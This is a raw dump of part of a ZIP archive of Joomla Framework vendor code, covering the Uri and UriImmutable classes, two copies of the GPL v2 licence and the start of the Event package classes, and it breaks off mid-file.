$this->fragment; } /** * Checks whether the current URI is using HTTPS. * * @return boolean True if using SSL via HTTPS. * * @since 1.0 */ public function isSsl() { return $this->getScheme() == 'https' ? true : false; } /** * Build a query from an array (reverse of the PHP parse_str()). * * @param array $params The array of key => value pairs to return as a query string. * * @return string The resulting query string. * * @see parse_str() * @since 1.0 */ protected static function buildQuery(array $params) { return urldecode(http_build_query($params, '', '&')); } /** * Parse a given URI and populate the class fields. * * @param string $uri The URI string to parse. * * @return boolean True on success. * * @since 1.0 */ protected function parse($uri) { // Set the original URI to fall back on $this->uri = $uri; /* * Parse the URI and populate the object fields. If URI is parsed properly, * set method return value to true. */ $parts = UriHelper::parse_url($uri); $retval = ($parts) ? true : false; // We need to replace & with & for parse_str to work right... if (isset($parts['query']) && strpos($parts['query'], '&') !== false) { $parts['query'] = str_replace('&', '&', $parts['query']); } $this->scheme = isset($parts['scheme']) ? $parts['scheme'] : null; $this->user = isset($parts['user']) ? $parts['user'] : null; $this->pass = isset($parts['pass']) ? $parts['pass'] : null; $this->host = isset($parts['host']) ? $parts['host'] : null; $this->port = isset($parts['port']) ? $parts['port'] : null; $this->path = isset($parts['path']) ? $parts['path'] : null; $this->query = isset($parts['query']) ? $parts['query'] : null; $this->fragment = isset($parts['fragment']) ? $parts['fragment'] : null; // Parse the query if (isset($parts['query'])) { parse_str($parts['query'], $this->vars); } return $retval; } /** * Resolves //, ../ and ./ from a path and returns * the result. Eg: * * /foo/bar/../boo.php => /foo/boo.php * /foo/bar/../../boo.php => /boo.php * /foo/bar/.././/boo.php => /foo/boo.php * * @param string $path The URI path to clean. * * @return string Cleaned and resolved URI path. * * @since 1.0 */ protected function cleanPath($path) { $path = explode('/', preg_replace('#(/+)#', '/', $path)); for ($i = 0, $n = \count($path); $i < $n; $i++) { if ($path[$i] == '.' || $path[$i] == '..') { if (($path[$i] == '.') || ($path[$i] == '..' && $i == 1 && $path[0] == '')) { unset($path[$i]); $path = array_values($path); $i--; $n--; } elseif ($path[$i] == '..' && ($i > 1 || ($i == 1 && $path[0] != ''))) { unset($path[$i], $path[$i - 1]); $path = array_values($path); $i -= 2; $n -= 2; } } } return implode('/', $path); } } PKÜ�\��0�zz&vendor/joomla/uri/src/UriImmutable.phpnu�[���<?php /** * Part of the Joomla Framework Uri Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Uri; /** * Uri Class * * This is an immutable version of the uri class. * * @since 1.0 */ final class UriImmutable extends AbstractUri { /** * @var boolean Has this class been instantiated yet. * @since 1.0 */ private $constructed = false; /** * Prevent setting undeclared properties. * * @param string $name This is an immutable object, setting $name is not allowed. * @param mixed $value This is an immutable object, setting $value is not allowed. * * @return void This method always throws an exception. * * @since 1.0 * @throws \BadMethodCallException */ public function __set($name, $value) { throw new \BadMethodCallException('This is an immutable object'); } /** * This is a special constructor that prevents calling the __construct method again. * * @param string $uri The optional URI string * * @since 1.0 * @throws \BadMethodCallException */ public function __construct($uri = null) { if ($this->constructed === true) { throw new \BadMethodCallException('This is an immutable object'); } $this->constructed = true; parent::__construct($uri); } } PKÜ�\�P�E�Evendor/joomla/uri/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\�P�E�Evendor/joomla/event/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\����� � )vendor/joomla/event/src/AbstractEvent.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; use ArrayAccess; use Countable; use Serializable; /** * Implementation of EventInterface. * * @since 1.0 */ abstract class AbstractEvent implements EventInterface, ArrayAccess, Serializable, Countable { /** * The event name. * * @var string * * @since 1.0 */ protected $name; /** * The event arguments. * * @var array * * @since 1.0 */ protected $arguments; /** * A flag to see if the event propagation is stopped. * * @var boolean * * @since 1.0 */ protected $stopped = false; /** * Constructor. * * @param string $name The event name. * @param array $arguments The event arguments. * * @since 1.0 */ public function __construct($name, array $arguments = array()) { $this->name = $name; $this->arguments = $arguments; } /** * Get the event name. * * @return string The event name. * * @since 1.0 */ public function getName() { return $this->name; } /** * Get an event argument value. * * @param string $name The argument name. * @param mixed $default The default value if not found. * * @return mixed The argument value or the default value. * * @since 1.0 */ public function getArgument($name, $default = null) { if (isset($this->arguments[$name])) { return $this->arguments[$name]; } return $default; } /** * Tell if the given event argument exists. * * @param string $name The argument name. * * @return boolean True if it exists, false otherwise. * * @since 1.0 */ public function hasArgument($name) { return isset($this->arguments[$name]); } /** * Get all event arguments. * * @return array An associative array of argument names as keys * and their values as values. * * @since 1.0 */ public function getArguments() { return $this->arguments; } /** * Tell if the event propagation is stopped. * * @return boolean True if stopped, false otherwise. * * @since 1.0 */ public function isStopped() { return $this->stopped === true; } /** * Count the number of arguments. * * @return integer The number of arguments. * * @since 1.0 */ public function count() { return \count($this->arguments); } /** * Serialize the event. * * @return string The serialized event. * * @since 1.0 */ public function serialize() { return serialize(array($this->name, $this->arguments, $this->stopped)); } /** * Unserialize the event. * * @param string $serialized The serialized event. * * @return void * * @since 1.0 */ public function unserialize($serialized) { list($this->name, $this->arguments, $this->stopped) = unserialize($serialized); } /** * Tell if the given event argument exists. * * @param string $name The argument name. * * @return boolean True if it exists, false otherwise. * * @since 1.0 */ public function offsetExists($name) { return $this->hasArgument($name); } /** * Get an event argument value. * * @param string $name The argument name. * * @return mixed The argument value or null if not existing. * * @since 1.0 */ public function offsetGet($name) { return $this->getArgument($name); } } PKÜ�\�C_���*vendor/joomla/event/src/EventInterface.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; /** * Interface for events. * An event has a name and its propagation can be stopped (if the implementation supports it). * * @since 1.0 */ interface EventInterface { /** * Get the event name. * * @return string The event name. * * @since 1.0 */ public function getName(); /** * Tell if the event propagation is stopped. * * @return boolean True if stopped, false otherwise. * * @since 1.0 */ public function isStopped(); } PKÜ�\�H�vv2vendor/joomla/event/src/ListenersPriorityQueue.phpnu�[���<?php /** * Part of the Joomla Framework Event Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Event; use Countable; use IteratorAggregate; use SplObjectStorage; use SplPriorityQueue; /** * A class containing an inner listeners priority queue that can be iterated multiple times. * One instance of ListenersPriorityQueue is used per Event in the Dispatcher. * * @since 1.0 */ class ListenersPriorityQueue implements IteratorAggregate, Countable { /** * The inner priority queue. * * @var SplPriorityQueue * * @since 1.0 */ protected $queue; /** * A copy of the listeners contained in the queue * that is used when detaching them to * recreate the queue or to see if the queue contains * a given listener. * * @var SplObjectStorage * * @since 1.0 */ protected $storage; /** * A decreasing counter used to compute * the internal priority as an array because * SplPriorityQueue dequeues elements with the same priority. * * @var integer * * @since 1.0 */ private $counter = PHP_INT_MAX; /** * Constructor. * * @since 1.0 */ public function __construct() { $this->queue = new SplPriorityQueue; $this->storage = new SplObjectStorage; } /** * Add a listener with the given priority only if not already present. * * @param \Closure|object $listener The listener. * @param integer $priority The listener priority. * * @return ListenersPriorityQueue This method is chainable. * * @since 1.0 */ public function add($listener, $priority) { if (!$this->storage->contains($listener)) { // Compute the internal priority as an array. $priority = array($priority, $this->counter--); $this->storage->attach($listener, $priority); $this->queue->insert($listener, $priority); } return $this; } /** * Remove a listener from the queue. * * @param \Closure|object $listener The listener. * * @return ListenersPriorityQueue This method is chainable. * * @since 1.0 */ public function remove($listener) { if ($this->storage->contains($listener)) { $this->storage->detach($listener); $this->storage->rewind(); $this->queue = new SplPriorityQueue; foreach ($this->storage as $listener) { $priority = $this->storage->getInfo(); $this->queue->insert($listener, $priority); } } return $this; } /** * Tell if the listener exists in the queue. * * @param \Closure|object $listener The listener. * * @return boolean True if it exists, false otherwise. * * @since 1.0 */ public function has($listener) { return $this->storage->contains($listener); } /** * Get the priority of the given listener. * * @param \Closure|object $listener The listener. * @param mixed $default The default value to return if the listener doesn't exist. * * @return mixed The listener priority if it exists, null otherwise. * * 